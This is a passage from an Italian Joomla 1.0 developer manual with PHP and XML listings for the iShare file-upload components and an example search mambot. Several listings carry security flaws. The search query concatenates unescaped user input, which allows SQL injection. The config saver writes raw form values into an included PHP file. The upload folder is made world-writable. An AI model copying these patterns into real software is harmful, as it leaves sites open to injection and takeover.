30                ↳ rendere <tt>/ishare/</tt> scrivibile</td></tr>';
31        }
32        else {
33            $msg .= '<tr><td><font color="green">SUCCESSO</font></td><td>Cartella <tt ←
34                ↳ >/ishare/</tt> scrivibile</td></tr>';
35        }
36    }
37
38    return $msg;
39 }

```

```

31     }
32 }
33
34 $msg .= '</table>';
35
36 return $msg;
37 }
38 ?>

```

Listato 141: install.ishare2.php

File PHP di disinstallazione - uninstall.ishare2.php

```

1 <?php
2 // impedisce l'accesso diretto al file
3 defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );
4
5 function com_uninstall() {
6     $msg = "Rimozione avvenuta con successo.<br><br>";
7     $msg .= "La cartella di upload non è stata rimossa, per mantenere i file.";
8
9     return $msg;
10 }
11 ?>

```

Listato 142: uninstall.ishare2.php

File PHP di backend - admin.ishare2.php

```

1 <?php
2 // impedisce l'accesso diretto al file
3 defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );
4
5 // inserisce il file di frontend del lato admin
6 require_once($mainframe->getPath('admin_html'));
7
8 switch($task){
9     case "save":
10         // salva i parametri di configurazione
11         ishare_html::saveHTML($option);
12         break;
13     case "about":
14     case "cancel":
15         // visualizza le informazioni del componente
16         ishare_html::aboutHTML();
17         break;
18     case "config":
19     default:
20         // visualizza la pagina di configurazione
21         ishare_html::configHTML($option);

```

```

22     break;
23 }
24 ?>

```

Listato 143: admin.ishare2.php

File PHP di backend - admin.ishare2.html.php

```

1 <?php
2 // impedisce l'accesso diretto al file
3 defined( '_VALID_MOS' ) or die('Direct Access to this location is not allowed.');
```

class ishare.html {	
6	<i>// metodo che visualizza le informazioni del componente</i>
7	function aboutHTML() {
8	?>
9	<table cellpadding="4" cellspacing="0" border="0" width="100%">
10	<tr>
11	<td colspan="2">iShare</td>
12	</tr>
13	<tr>
14	<td width="10%">Versione</td>
15	<td>2.0</td>
16	</tr>
17	</table>
18	<?php
19	echo ishare.html::emptyForm();
20	}
21	
22	
23	<i>// metodo che visualizza il form dove modificare i parametri</i>
24	function configHTML(\$option) {
25	global \$database;
26	
27	<i>// recupera il valore attuale dei parametri dal database</i>
28	\$database->setQuery("SELECT * FROM #__ishare2");
29	\$settings = \$database->loadObjectList();
30	\$setting = \$settings [0];
31	
32	<i>// crea 2 tooltip descrittivi da usare come etichette</i>
33	\$maxDim = mosToolTip("Dimensione massima del file (in bytes)",
34	"Dimensione massima", "", "tooltip.png",
35	"Dimensione massima", "#", 0);
36	\$valExt = mosToolTip("Estensioni di file consentite (elenco separato da ↵
37	↵ virgole, senza spazi)",
38	"Estensioni consentite", "", "tooltip.png",
39	"Estensioni consentite", "#", 0);
40	<i>// inserisce il codice JS necessario ai tooltip</i>
41	mosCommonHTML::loadOverlib();
42	?>
43	<table cellpadding="4" cellspacing="0" border="0">


```

44     <tr>
45         <td><span class="sectionname">iShare – Configurazione</span></td>
46     </tr>
47 </table>
48 <form action="index2.php" method="post" name="adminForm">
49 <input type="hidden" name="task" value="" />
50 <input type="hidden" name="option" value="<?php echo $option; ?>" />
51 <table cellpadding="4" cellspacing="0" border="0">
52     <tr>
53         <td><span class="editlinktip"><?php echo $maxDim;?></span></td>
54         <td><input type="text" name="dimension" value="<?php echo $setting->
55             ↳ dimension; ?>" class="text_area"></td>
56     </tr>
57     <tr>
58         <td><span class="editlinktip"><?php echo $valExt;?></span></td>
59         <td><input type="text" name="extension" value="<?php echo $setting->
60             ↳ extension; ?>" class="text_area"></td>
61     </tr>
62 </table>
63 </form>
64 <?php
65     }
66
67     // metodo che effettua il salvataggio dei valori dei parametri
68     function saveHTML($option){
69         global $database;
70
71         // recupero dei valori del form, via POST
72         $dim = intval(mosGetParam($_POST, "dimension", 0));
73         $ext = $database->getEscaped(mosGetParam($_POST, "extension", ""));
74
75         // aggiornamento dei dati
76         $database->setQuery("UPDATE #__ishare2 SET dimension=$dim, extension='$ext'");
77         $database->query();
78
79         // redirectione sul componente stesso
80         mosRedirect("index2.php?option=".$option,"Impostazioni salvate con successo!");
81     }
82
83     // metodo privato per inserire un form vuoto contenente il campo task
84     function emptyForm(){
85         return '<form action="index2.php" method="post" name="adminForm">' .
86             '<input type="hidden" name="task" value="" /></form>';
87     }
88 }
89 ?>

```

Listato 144: admin.ishare2.html.php

File PHP di backend - toolbar.ishare2.php

```
1 <?php
2 // no direct access
3 defined( '_VALID_MOS' ) or die( 'Restricted access' );
4
5 // inserisce il file di visualizzazione delle toolbar
6 require_once($mainframe->getPath('toolbar_html'));
7
8 // a seconda dell'operazione che deve essere svolta,
9 // viene visualizzata una barra differente
10 switch ($task) {
11     case 'config':
12         ishare_toolbar :: configMenu();
13         break;
14     default:
15         ishare_toolbar :: defaultMenu();
16         break;
17 }
18 ?>
```

Listato 145: toolbar.ishare2.php

File PHP di backend - toolbar.ishare2.html.php

```
1 <?php
2 // no direct access
3 defined( '_VALID_MOS' ) or die( 'Restricted access' );
4
5 // classe che realizza la barra dei pulsanti del componente
6 class ishare_toolbar {
7     // barra per la configurazione, contenente il pulsante Salva
8     function configMenu() {
9         mosMenuBar::startTable();
10        mosMenuBar::save();
11        mosMenuBar::spacer();
12        mosMenuBar::cancel();
13        mosMenuBar::endTable();
14    }
15
16    // barra di default, con il pulsante di chiusura
17    function defaultMenu() {
18        mosMenuBar::startTable();
19        mosMenuBar::cancel("cancel", "Chiudi");
20        mosMenuBar::endTable();
21    }
22 }
```

Listato 146: toolbar.ishare2.html.php

File PHP di frontend - ishare2.php

```

1 <?php
2 // impedisce l'accesso diretto al file
3 defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );
4
5 require_once($mainframe->getPath('front_html'));
6 ?>

```

Listato 147: ishare2.php

File PHP di frontend - ishare2.html.php

```

1 <?php
2 // impedisce l'accesso diretto al file
3 defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );
4
5 global $database;
6
7 ob_start();
8
9 // indirizzo del sito web
10 $site = $mosConfig_live_site . "/";
11 // nome della directory
12 $directory = "ishare/";
13 // recupero dei parametri di configurazione
14 $database->setQuery("SELECT * FROM #__ishare2");
15 $settings = $database->loadObjectList();
16 $setting = $settings [0];
17 // dimensione massima dei file (in byte)
18 $size = $setting->dimension;
19 // estensioni valide per i file inviati
20 $validExt = explode(" ", $setting->extension);
21
22 echo "<center>";
23
24 // visualizza il numero di file già presenti
25 // la funzione glob() è disponibile da PHP 4.3.0
26 echo count(glob($directory . "*")) . " file presenti";
27 echo "<br>";
28 // visualizza il form per l'upload
29 echo "<form enctype='multipart/form-data' method='post' action='?option=com_ishare&
    ↵ task=upload&Itemid=" . $Itemid . "'>" .
30     "<input name='userfile' type='file' size='30'>&nbsp;<input type='submit' value
    ↵ =>'Invia'>" .
31     "<br>Estensioni consentite: " . implode(" ", $validExt) . "<br>" .
32     "Dimensione massima: " . $size . " bytes</form><br>";
33
34 if($_GET['task'] == 'upload') {
35     $uploaddir = $directory;
36     $trim = str_replace(" ", "", basename($_FILES['userfile']['name']));

```

```

37 $name = strtolower($trim);
38 srand((double)microtime() * 1000000);
39
40 // viene creato il nome casuale del file
41 $number2 = rand(0,100000000) . getExt($name);
42
43 // viene creato il percorso completo del file da uploadare
44 $uploadfile = $uploaddir . $number2;
45
46 // viene controllata la dimensione del file
47 if($_FILES['userfile']['size'] >= $size) {
48     $size2 = $size / 1024;
49     echo "ERRORE: La dimensione del file deve essere meno di " . $size2 . "kb";
50 }
51 else if(!in_array(getExt($name), $validExt)) {
52     echo "ERRORE: tipo di file non valido";
53 }
54 else {
55     if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
56         echo "File caricato correttamente<br><br>";
57         echo "Link del file: <font color='gray'>" . $site . $directory . $number2 . " ←
58             ← </font><br>";
59         echo "Per inserire il file in un forum, copia/incolla questo codice:< ←
60             ← br>";
61         echo "<font color='gray'>[url=\"" . $site . $directory . $number2 . "]" . ←
62             ← $number2 . "[/url]</font>";
63     }
64     else {
65         echo "ERRORE: File non caricato sul server";
66     }
67 }
68 }
69 echo "</center>";
70
71 // funzione che restituisce l'estensione dal nome del file
72 function getExt($fileName){
73     // il nome del file viene suddiviso in blocchi, usando il punto come separatore
74     $blocchi = explode(".", $fileName);
75
76     // se non ci sono estensioni
77     if(!isset($blocchi[1]))
78         return "";
79
80     // l'estensione è l'ultimo blocco a destra
81     $estensione = $blocchi[count($blocchi) - 1];
82     $estensione = strtolower($estensione);
83
84     return "." . $estensione;
85 }
86 ?>

```

Listato 148: ishare2.html.php

File XML di installazione - com_ishare2.xml

```

1 <?xml version="1.0" ?>
2
3 <mosinstall type="component">
4   <name>iShare 2</name>
5   <creationDate>12 settembre 2006</creationDate>
6   <author>Marco Napolitano</author>
7   <copyright>This component in released under the GNU/GPL License, copyright lucazone.net<
   ↩ ↪ /copyright>
8   <authorEmail>info@allone.it</authorEmail>
9   <authorUrl>www.allone.it</authorUrl>
10  <version>2.0</version>
11  <description>Componente iShare, per la gestione di un sistema di scambio file.</description>
12
13  <files>
14    <filename>ishare2.php</filename>
15    <filename>ishare2.html.php</filename>
16  </files>
17
18  <install>
19    <queries>
20      <query>
21        CREATE TABLE #__ishare2(
22          dimension int not null,
23          extension varchar(255) not null
24        ) TYPE=MyISAM;
25      </query>
26      <query>
27        INSERT INTO #__ishare2 (dimension, extension) VALUES(100000, ".jpg, .gif, .
   ↩ ↪ png");
28      </query>
29    </queries>
30  </install>
31
32  <installfile >install.ishare2.php</installfile >
33
34  <uninstall>
35    <queries>
36      <query>DROP TABLE #__ishare2</query>
37    </queries>
38  </uninstall>
39
40  <uninstallfile >uninstall.ishare2.php</uninstallfile >
41
42  <administration>
43    <menu>iShare 2.0</menu>
44
45    <submenu>
46      <menu task="config">Configura</menu>
47      <menu task="about">Informazioni su</menu>
48    </submenu>

```

```

49     <files >
50         <filename>admin.ishare2.php</filename>
51         <filename>admin.ishare2.html.php</filename>
52         <filename>toolbar.ishare2.php</filename>
53         <filename>toolbar.ishare2.html.php</filename>
54     </files >
55 </administration>
56 </mosinstall>

```

Listato 149: com_ishare2.xml

14.6 Componente iShare 3.0

L'esempio è uguale al precedente, ma ora la configurazione del componente viene salvata su file e non sul database; la pagina di configurazione è accessibile dal menu *iShare 3.0* → *Configurazione*. Inoltre è stato inserito un sistema multilingua, argomento che verrà trattato in appendice F. Infine è stato modificato il file `com_ishare3.xml`, aggiungendo i nuovi file della lingua.

File PHP di installazione - install.ishare3.php

```

1 <?php
2 // impedisce l'accesso diretto al file
3 defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );
4
5 function com_install(){
6     global $mainframe;
7
8     echo '<table border="0">';
9
10    // se la cartella ishare non esiste, deve essere creata
11    if (!file_exists($mainframe->getCfg('absolute_path') . "/ishare/")){
12        @umask(0);
13        // viene creata la cartella per memorizzare i file
14        if (!@mkdir($mainframe->getCfg('absolute_path') . "/ishare/")){
15            echo '<tr><td><font color="red">ERRORE</font></td><td>Impossibile creare ←
16                ↳ cartella <tt>/ishare/</tt></td></tr>';
17        } else {
18            echo '<tr><td><font color="green">SUCCESSO</font></td><td>Creata cartella ←
19                ↳ <tt>/ishare/</tt></td></tr>';
20        }
21    }
22
23    // se la cartella non è scrivibile, deve essere modificata
24    if (!is_writable($mainframe->getCfg('absolute_path') . "/ishare/")){
25        @umask(0);
26        // vengono impostati i permessi della cartella
27        if (!@chmod($mainframe->getCfg('absolute_path') . "/ishare/", 0777)){
28            echo '<tr><td><font color="red">ERRORE</font></td><td>Impossibile rendere ←
29                ↳ <tt>/ishare/</tt> scrivibile</td></tr>';
30        } else {

```

```

28     echo '<tr><td><font color="green">SUCCESSO</font></td><td>Cartella <tt>/ ←
      ↳ ishare/</tt> scrivibile</td></tr>';
29     }
30 }
31
32 echo '</table>';
33 }
34 ?>

```

Listato 150: install.ishare3.php

File PHP di disinstallazione - uninstall.ishare3.php

```

1 <?php
2     function com_uninstall() {
3         echo "Rimozione avvenuta con successo.<br><br>";
4         echo "La cartella di upload non è stata rimossa, per mantenere i file.";
5     }
6 ?>

```

Listato 151: uninstall.ishare3.php

File PHP di configurazione - config.ishare3.php

```

1 <?php
2 $ish_dim = "1024";
3 $ish_ext = ".jpg, .png";
4 ?>

```

Listato 152: config.ishare3.php

File PHP di traduzione - italian.php

```

1 <?php
2 /**
3  * @Ishare – Un componente per Joomla
4  * @package Component for Joomla
5  * @subpackage language italian.php
6  * @Renew & fork by LucaZone
7  */
8
9 defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );
10
11 //Admin general
12 DEFINE( '_ISHARE_BACKEND', 'Gestione iShare' );
13 DEFINE( '_ISHARE_CONFIG', 'Configurazione iShare' );
14 DEFINE( '_ISHARE_COMANDO001', 'Configurazione salvata' );
15 DEFINE( '_ISHARE_DIMEN', 'Dimensione file' );
16 DEFINE( '_ISHARE_DIM2', 'Dimensione Max' );

```

```

17 DEFINE('_ISHARE_EXT','Estensione file');
18 DEFINE('_ISHARE_EXT2','Elenca le estensioni');
19 DEFINE('_ISHARE_SET001','impostazioni');
20 ?>

```

Listato 153: italian.php

File PHP di traduzione - english.php

```

1 <?php
2 /**
3  * @Ishare – Un componente per Joomla
4  * @package Component for Joomla
5  * @subpackage language italian.php
6  * @Renew & fork by LucaZone
7  **/
8
9 defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );
10
11 //Admin general
12 DEFINE('_ISHARE_BACKEND','iShare management');
13 DEFINE('_ISHARE_CONFIG','iShare configuration');
14 DEFINE('_ISHARE_COMANDO001','Configuration saved');
15 DEFINE('_ISHARE_DIMEN','File dimension');
16 DEFINE('_ISHARE_DIM2','Max dimension');
17 DEFINE('_ISHARE_EXT','File extension');
18 DEFINE('_ISHARE_EXT2','List extensions');
19 DEFINE('_ISHARE_SET001','settings');
20 ?>

```

Listato 154: english.php

Come si può notare, i due file della lingua definiscono semplicemente un insieme di *costanti PHP*, contenenti le stringhe di testo da visualizzare.

File PHP di backend - admin.ishare3.php

```

1 <?php
2 // impedisce l'accesso diretto al file
3 defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );
4
5 // inserisce il file di frontend del lato admin
6 require_once($mainframe->getPath('admin_html'));
7
8 switch($task){
9     case "settings":
10         showConfig( $option );
11         break;
12     case "savesettings":
13         saveConfig ( $option, $ish_dim, $ish_ext);
14         break;

```



```

15     case "about":
16     case "cancel":
17         // visualizza le informazioni del componente
18         ishare_html :: aboutHTML();
19         break;
20     default:
21         ishare_html :: aboutHTML();
22         break;
23 }
24
25 function showConfig( $option ) {
26     global $mainframe, $act, $ishare;
27
28     require($mainframe->getCfg('absolute_path')."/administrator/components/$option/ ↵
29     ↵ config.ishare3.php");
30
31     <script language="javascript" type="text/javascript">
32         function submitbutton(pressbutton) {
33             var form = document.adminForm;
34             if (pressbutton == 'cancel') {
35                 submitform( pressbutton );
36                 return;
37             }
38         }
39     </script>
40     <form action="index2.php" method="POST" name="adminForm">
41     <table cellpadding="4" cellspacing="0" border="0" width="100%">
42     <tr>
43         <td width="10%" class="sectionname"></td>
44         <td width="90%" class="sectionname"><?php echo _ISHARE.CONFIG; ?></td>
45     </tr>
46     </table>
47     <?php
48     $tabs = new mosTabs( 0 );
49     $tabs->startPane("content-pane");
50     $tabs->startTab(_ISHARE_BACKEND,"backe-page");
51     ?>
52     <!-- ***** INIZIO BACK PAGE ***** -->
53     <div>
54     <table cellpadding="4" cellspacing="1" border="0" width="100%" class="adminform">
55     <tr><th colspan="3"><?php echo _ISHARE.SET001; ?></th></tr>
56     <tr align="center" valign="middle">
57         <td width="20%" align="left" valign="top"><strong><?php echo ↵
58         ↵ _ISHARE.DIMEN;?></strong></td>
59         <?php echo "<td width='20%' align='left' valign='top'><input type='text' ↵
60         ↵ name='ish_dim' value='$ish_dim'></td>"; ?>
61         <td width="60%" align="left" valign="top"><?php echo _ISHARE.DIM2;?></td ↵
62         ↵ >
63     </tr>
64     <tr align="center" valign="middle">
65         <td align="left" valign="top"><strong><?php echo _ISHARE.EXT;?></strong ↵
66         ↵ ></td>

```

```

62     <?php echo "<td width='20%' align='left' valign='top'><input type='text'
        ↳ name='ish_ext' value='$ish_ext'></td>"; ?>
63     <td align="left" valign="top"><?php echo _ISHARE_EXT2;?></td>
64 </tr>
65 </table>
66 </div>
67 <!-- ***** FINE BACK PAGE ***** -->
68 <?php
69     $tabs->endTab();
70     $tabs->endPane();
71 ?>
72 <input type="hidden" name="option" value="<?php echo $option; ?>">
73 <input type="hidden" name="act" value="<?php echo $act; ?>">
74 <input type="hidden" name="task" value="">
75 <input type="hidden" name="checked" value="0">
76 </form>
77
78 <br /><br /><br />
79
80 <?php
81 }
82
83 function saveConfig ($option, $ish_dim, $ish_ext) {
84     $configfile = "components/$option/config.ishare3.php";
85     @chmod ($configfile, 0766);
86     $permission = is_writable($configfile);
87     if (!$permission) {
88         $mosmsg = "File configurazione non scrivibile";
89         mosRedirect("index2.php?option=$option&act=config",$mosmsg);
90     }
91
92     $config = "<?php\n";
93     $config .= "\$ish_dim = \"\$ish_dim\";\n";
94     $config .= "\$ish_ext = \"\$ish_ext\";\n";
95     $config .= "?>";
96
97     if ($fp = fopen("$configfile", "w")) {
98         fputs($fp, $config, strlen($config));
99         fclose ($fp);
100    }
101
102    mosRedirect("index2.php?option=$option&task=settings", _ISHARE_COMANDO001 );
103 }
104 ?>

```

Listato 155: admin.ishare3.php

Come si può notare, la parte di caricamento dei parametri di configurazione del componente si riduce ad una semplice inclusione di file:

```

1 require($mainframe->getCfg('absolute_path')."/administrator/components/$option/config
    ↳ .ishare3.php");

```

La parte di salvataggio dei file, contenuta nella funzione `saveConfig()`, è costituita da una riscrittura completa del file di configurazione:

```

1 $config = "<?php\n";
2 $config .= "\$ish_dim = \"\$ish_dim\";\n";
3 $config .= "\$ish_ext = \"\$ish_ext\";\n";
4 $config .= "?>";
5
6 if ($fp = fopen("$configfile", "w")) {
7     fputs($fp, $config, strlen($config));
8     fclose ($fp);
9 }

```

File PHP di backend - admin.ishare3.html.php

```

1 <?php
2 // impedisce l'accesso diretto al file
3 defined( '_VALID_MOS' ) or die('Direct Access to this location is not allowed.');
```

4

```

5 # Trova il file lingua se esistente
6 if ( file_exists( $mainframe->getCfg('absolute_path').'/components/com_ishare3/languages/ ←
    ← '$mainframe->getCfg('lang').'.php' ) )
7     include( $mainframe->getCfg('absolute_path').'/components/com_ishare3/languages/'. ←
    ← $mainframe->getCfg('lang').'.php' );
8 else
9     include( $mainframe->getCfg('absolute_path').'/components/com_ishare3/languages/ ←
    ← english.php' );
10
11 class ishare_html {
12     // metodo che visualizza le informazioni del componente
13     function aboutHTML() {
14     ?>
15     <table cellpadding="4" cellspacing="0" border="0" width="100%">
16     <tr>
17         <td colspan="2"><span class="sectionname">iShare</span></td>
18     </tr>
19     <tr>
20         <td width="10%">Versione</td>
21         <td>3.0</td>
22     </tr>
23 </table>
24 <?php
25     }
26 }
27 ?>

```

Listato 156: admin.ishare3.html.php

La gestione del multilingua avviene semplicemente mediante l'inclusione del file di traduzione corretto e relativo alla lingua corrente di Joomla, che viene ricavata tramite la chiamata `$mainframe->getCfg('lang')`:

```

1 # Trova il file lingua se esistente
2 if( file_exists($mainframe->getCfg('absolute_path').'/components/com_ishare3/languages/ ↵
   ↵ '$mainframe->getCfg('lang').'.php'))
3     include($mainframe->getCfg('absolute_path').'/components/com_ishare3/languages/'. ↵
   ↵ $mainframe->getCfg('lang').'.php');
4 else
5     include($mainframe->getCfg('absolute_path').'/components/com_ishare3/languages/ ↵
   ↵ english.php');

```

Se il file di traduzione non esiste nella lingua corrente di Joomla, viene utilizzata la lingua di default che nell'esempio è l'inglese.

Dopo l'inclusione del file, saranno disponibili tutte le costanti PHP definite al suo interno e rappresentanti le stringhe di testo da visualizzare.

File PHP di backend - toolbar.ishare3.php

```

1 <?php
2 // no direct access
3 defined( '_VALID_MOS' ) or die( 'Restricted access' );
4
5 // inclusione del file di frontend della toolbar
6 require_once($mainframe->getPath('toolbar_html'));
7
8 // a seconda dell'operazione che deve essere svolta,
9 // viene visualizzata una barra differente
10 switch ($task) {
11     case 'settings':
12         ishare_toolbar :: _config ();
13         break;
14     default:
15         ishare_toolbar :: _default ();
16         break;
17 }
18 ?>

```

Listato 157: toolbar.ishare3.php

File PHP di backend - toolbar.ishare3.html.php

```

1 <?php
2 // no direct access
3 defined( '_VALID_MOS' ) or die( 'Restricted access' );
4
5 // classe che realizza la barra dei pulsanti del componente
6 class ishare_toolbar {
7     // barra per la configurazione, contenente il pulsante Salva
8     function _config() {
9         mosMenuBar::startTable();
10        mosMenuBar::save( 'savesettings' );
11        mosMenuBar::spacer();

```

```

12     mosMenuBar::cancel();
13     mosMenuBar::endTable();
14 }
15
16 // barra di default, con il pulsante di chiusura
17 function _default() {
18     mosMenuBar::startTable();
19     mosMenuBar::cancel("cancel", "Chiudi");
20     mosMenuBar::endTable();
21 }
22 }

```

Listato 158: toolbar.ishare3.html.php

File PHP di frontend - ishare3.php

```

1 <?php
2 // impedisce l'accesso diretto al file
3 defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );
4
5 // inclusione del file di frontend
6 require_once($mainframe->getPath('front_html'));
7 ?>

```

Listato 159: ishare3.php

File PHP di frontend - ishare3.html.php

```

1 <?php
2 // impedisce l'accesso diretto al file
3 defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );
4
5 global $mainframe, $database;
6
7 require($mainframe->getCfg('absolute_path')."/administrator/components/com_ishare3/ ↵
   ↵ config.ishare3.php");
8
9 # Trova il file lingua se esistente
10 if ( file_exists($mainframe->getCfg('absolute_path').'/components/com_ishare3/languages ↵
   ↵ /'. $mainframe->getCfg('lang').'.php'))
11     include($mainframe->getCfg('absolute_path').'/components/com_ishare3/languages/'. ↵
   ↵ $mainframe->getCfg('lang').'.php');
12 else
13     include($mainframe->getCfg('absolute_path').'/components/com_ishare3/languages/ ↵
   ↵ english.php');
14
15 ob_start();
16
17 // indirizzo del sito web
18 $site = $mainframe->getCfg('live_site') . "/";

```

```

19 // nome della directory
20 $directory = "ishare/";
21 $size = $ish_dim;
22 $validExt = explode(",", $ish_ext);
23
24 echo "<center>";
25
26 // visualizza il numero di file già presenti
27 // la funzione glob() è disponibile da PHP 4.3.0
28 echo count(glob($directory . "*")) . " file presenti";
29 echo "<br>";
30 // visualizza il form per l'upload
31 echo "<form enctype='multipart/form-data' method='post' action='?option=com_ishare3 ←
    ← &task=upload&Itemid=" . $Itemid . "'>" .
32     "<input name='userfile' type='file' size='30'>&nbsp;&nbsp;&nbsp;<input type='submit' value ←
    ← ='Invia'>" .
33     "<br>Estensioni consentite: " . $ish_ext . "<br>" .
34     "Dimensione massima: " . $size . " bytes</form><br>";
35
36 if($_GET['task'] == 'upload') {
37     $uploaddir = $directory;
38     $trim = str_replace(" ", "", basename($_FILES['userfile']['name']));
39     $name = strtolower($trim);
40     srand((double)microtime() * 1000000);
41
42     // viene creato il nome casuale del file
43     $number2 = rand(0,100000000) . getExt($name);
44
45     // viene creato il percorso completo del file da uploadare
46     $uploadfile = $uploaddir . $number2;
47
48     // viene controllata la dimensione del file
49     if($_FILES['userfile']['size'] >= $size) {
50         $size2 = $size / 1024;
51         echo "ERRORE: La dimensione del file deve essere meno di " . $size2 . "kb";
52     }
53     else if(!in_array(getExt($name), $validExt)) {
54         echo "ERRORE: tipo di file non valido";
55     }
56     else {
57         if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
58             echo "File caricato correttamente<br><br>";
59             echo "Link del file: <font color='gray'>" . $site . $directory . $number2 . " ←
    ← </font><br>";
60             echo "Per inserire il file in un forum, copia/incolla questo codice:< ←
    ← br>";
61             echo "<font color='gray'>[url=" . $site . $directory . $number2 . "]" . ←
    ← $number2 . "[/url]</font>";
62         }
63         else {
64             echo "ERRORE: File non caricato sul server";
65         }
66     }

```

```

67 }
68 echo "</center>";
69
70
71 // funzione che restituisce l'estensione dal nome del file
72 function getExt($fileName){
73     // il nome del file viene suddiviso in blocchi, usando il punto come separatore
74     $blocchi = explode(".", $fileName);
75
76     // se non ci sono estensioni
77     if(!isset($blocchi[1]))
78         return "";
79
80     // l'estensione è l'ultimo blocco a destra
81     $estensione = $blocchi[count($blocchi) - 1];
82     $estensione = strtolower($estensione);
83
84     return "." . $estensione;
85 }
86 ?>

```

Listato 160: ishare3.html.php

Anche in questo caso il recupero dei parametri di configurazione e del file della lingua è analogo ai casi visti precedentemente.

File XML di installazione - com_ishare3.xml

```

1 <?xml version="1.0" ?>
2 <mosinstall type="component">
3     <name>iShare 3</name>
4     <creationDate>17 novembre 2006</creationDate>
5     <author>LucaZone</author>
6     <copyright>This component in released under the GNU/GPL License, copyright lucazone.net< ↵
7     ↵ /copyright>
8     <authorEmail>info@lucazone.net</authorEmail>
9     <authorUrl>www.lucazone.net</authorUrl>
10    <version>3.0</version>
11    <description>Componente iShare, per la gestione di un sistema di scambio file.</description>
12    <files>
13        <filename>ishare3.php</filename>
14        <filename>ishare3.html.php</filename>
15        <filename>languages/italian.php</filename>
16        <filename>languages/english.php</filename>
17    </files>
18
19    <installfile>install.ishare3.php</installfile>
20
21    <uninstallfile>uninstall.ishare3.php</uninstallfile>
22
23    <administration>

```

```
24 <menu>iShare 3.0</menu>
25
26 <submenu>
27 <menu task="settings">Configura</menu>
28 <menu task="about">Informazioni su</menu>
29 </submenu>
30
31 <files >
32 <filename>admin.ishare3.php</filename>
33 <filename>admin.ishare3.html.php</filename>
34 <filename>config.ishare3.php</filename>
35 <filename>toolbar.ishare3.php</filename>
36 <filename>toolbar.ishare3.html.php</filename>
37 </files >
38 </administration>
39 </mosinstall>
```

Listato 161: com_ishare3.xml

Parte Quarta

Mambot

15 Introduzione

Il mambot è un elemento che esegue una specifica funzione, di complessità più o meno elevata, ogni volta che viene attivato. Il suo compito è quello di intercettare i contenuti prima che vengano visualizzati, per manipolarli in qualche modo; lavora dietro le quinte in un certo senso. Joomla fornisce già alcuni mambot pronti all'uso, qualcuno utilizzabile direttamente durante la stesura dei contenuti:

mosimage serve per l'inserimento delle immagini nei contenuti e converte il tag `{mosimage}` nel tag HTML ``

mospagebreak serve per la paginazione dei contenuti e sostituisce il tag `{mospagebreak}` con un'interruzione di pagina

moscode effettua il processo di *syntax highlight* per i blocchi di testo che contengono codice sorgente

I mambot sono suddivisi in gruppi a seconda delle loro funzioni e ciascun gruppo è costituito da una directory all'interno della cartella `mambots`. I gruppi predefiniti di Joomla sono:

content mambot che modificano il contenuto delle notizie

editors mambot che rappresentano editor WYSIWYG, come tinyMCE, JCE, ...

editors-xtd elementi aggiuntivi di un editor

search mambot che estendono il sistema di ricerca di Joomla

system mambot di sistema

Quando un mambot viene invocato, tutto il gruppo a cui appartiene viene caricato.

16 Struttura dei file

Lo sviluppo di un mambot richiede la creazione dei seguenti file, in maniera analoga a quanto avviene per i moduli:

Codice del mambot rappresenta il file PHP principale, quello richiamato da Joomla e contenente il codice del mambot stesso. Il file non deve avere un nome ben preciso, ma di solito viene utilizzato il prefisso `mos`, ad esempio `mosNOMEBOT.php`, dove `NOMEBOT` rappresenta il nome del mambot, ad esempio `mosMySearch.php`, `mosConvertDate.php`, ...

File di installazione rappresenta il file XML contenente tutte le informazioni necessarie all'installazione del mambot, quali il nome, i parametri, ... Questo file deve avere lo stesso nome del file di codice, ma con estensione `.xml` come `mosNOMEBOT.xml`, dove `NOMEBOT` rappresenta il nome del mambot, ad esempio `mosMySearch.xml`, `mosConvertDate.xml`, ...

Una volta creati questi file, si crea il pacchetto di installazione semplicemente creando un archivio ZIP o TGZ. Dopodichè è sufficiente effettuare l'installazione del mambot dal backend di Joomla, menu *Installazioni*→*Mambot*, inviando l'archivio appena creato.

Se tutto va a buon fine, i file vengono copiati all'interno della directory `mambots` ed il mambot è disponibile per la configurazione e l'utilizzo, accedendo al menu *Mambot*→*Mambot sito*.

16.1 Codice del mambot

Questo è il file principale che contiene tutto il codice del mambot.

Come già accennato per i moduli, l'unica cosa fondamentale da ricordare è il codice iniziale del mambot, che deve essere:

```
1 <?php
2 defined( '_VALID_MOS' ) or die( 'Restricted access' );
```

I mambot vengono attivati in seguito al verificarsi di un evento e vengono caricati una volta sola. Nella versione 1.0 di Joomla esistono diversi tipi diversi di eventi utilizzabili, tra cui:

1. `onSearch`
2. `onPrepareContent`
3. `onInitEditor`
4. `onGetEditorContents`
5. `onEditorArea`
6. `onCustomEditorButton`
7. `onStart`

Cerchiamo di capire il funzionamento dei vari tipi di evento.

16.1.1 Evento onSearch

Il codice seguente realizza un cosiddetto *search bot*, ossia un mambot di ricerca che viene attivato in seguito all'evento `onSearch`:

```

1 <?php
2 defined("_VALID_MOS") or die("Restricted access");
3
4 $_MAMBOTs->registerFunction('onSearch', 'botSearchContacts');
5
6 /*
7  * Funzione che effettua materialmente la ricerca
8  * @param array termine da ricercare
9  */
10 function botSearchContacts($text) {
11     global $database;
12
13     // il parametro viene ripulito e controllato
14     $text = trim($text);
15     if($text == "")
16         return array();
17
18     // viene preparata la query che effettua una ricerca sui contatti utilizzando il parametro $text
19     $database->setQuery("SELECT name AS title, " .
20         "' ' AS created, misc AS text, 'Contact' AS section, " .
21         "CONCAT('index.php?option=com_contact&task=view&id=',id) AS href, 2 AS browsernav " .
22         "FROM #__contact_details AS a " .
23         "INNER JOIN #__categories AS b ON b.id=a.catid AND b.access <= '$my->gid' " .
24         "LEFT JOIN #__sections AS u ON u.id = a.sectionid " .
25         "WHERE name LIKE '%$text%' OR misc LIKE '%$text%' " .
26         "AND published='1' " .
27         "ORDER BY name");
28
29     // la query viene eseguita e il risultato viene restituito
30     return $database->loadObjectList();
31 }
32 ?>

```

